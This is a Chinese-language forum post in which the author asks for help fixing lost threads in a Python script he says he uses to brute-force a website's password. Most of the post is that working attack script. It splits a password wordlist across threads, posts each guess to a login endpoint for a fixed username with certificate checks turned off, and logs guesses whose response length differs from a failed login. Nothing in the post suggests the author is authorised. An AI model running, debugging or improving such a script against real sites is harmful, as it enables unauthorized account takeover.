关于python多线程丢失
用python暴力破解网站密码时遇到一个问题
import requests
import urllib3
import _thread
from concurrent.futures import ThreadPoolExecutor
import time
import threading
data={"userName":"2481A9139CDAB4481199F6DDA3811967","passWord":"36F29E7A72A94C32AF840F79557AAE2F"}
res=requests.post(url2,headers=headers,data=data,verify=False)
print(res.text)
Password=open('4.txt').read().split('\n')
n=len(Password)//10
new_group=[]
for i in range(5):
new_group2=[]
for k in range(n*i,(i+1)*n):
new_group2.append(Password[k])
new_group.append(new_group2)
def post_data(threadname,password):
i=0
righpass=[]
rightext=[]
for i in range(len(password)):
data={"userName":"2481A9139CDAB4481199F6DDA3811967","passWord":password[i]}
res=requests.post(url2,headers=headers,data=data)
if len(res.text)!=79:
righpass.append(password[i])
rightext.append(len(res.text))
if i%100==0:
print("%s:次数%d"%(threadname,i))
print('%s结束'%threadname)
ff=open('againtext.txt','a')
for zz in range(len(rightext)):
ff.write('\n'+str(rightext[zz]))
ff.close()
f=open('again.txt','a')
for z in range(len(righpass)):
f.write('\n'+righpass[z])
f.close()
pool=ThreadPoolExecutor(6)
for m in range(5):
pool.submit(post_data,"线程%d"%m,new_group[m])
p1=pool.submit(post_data,"守护线程",Password)
p1.daemon=True
用了多线程,却出现了线程丢失的情况
这里本来有5个线程的,运行的时候没有问题甚至线程丢失了也没有报错
找了一天资料了还是不知道怎么办
有没有大佬帮忙看一下
ORZ(自闭中)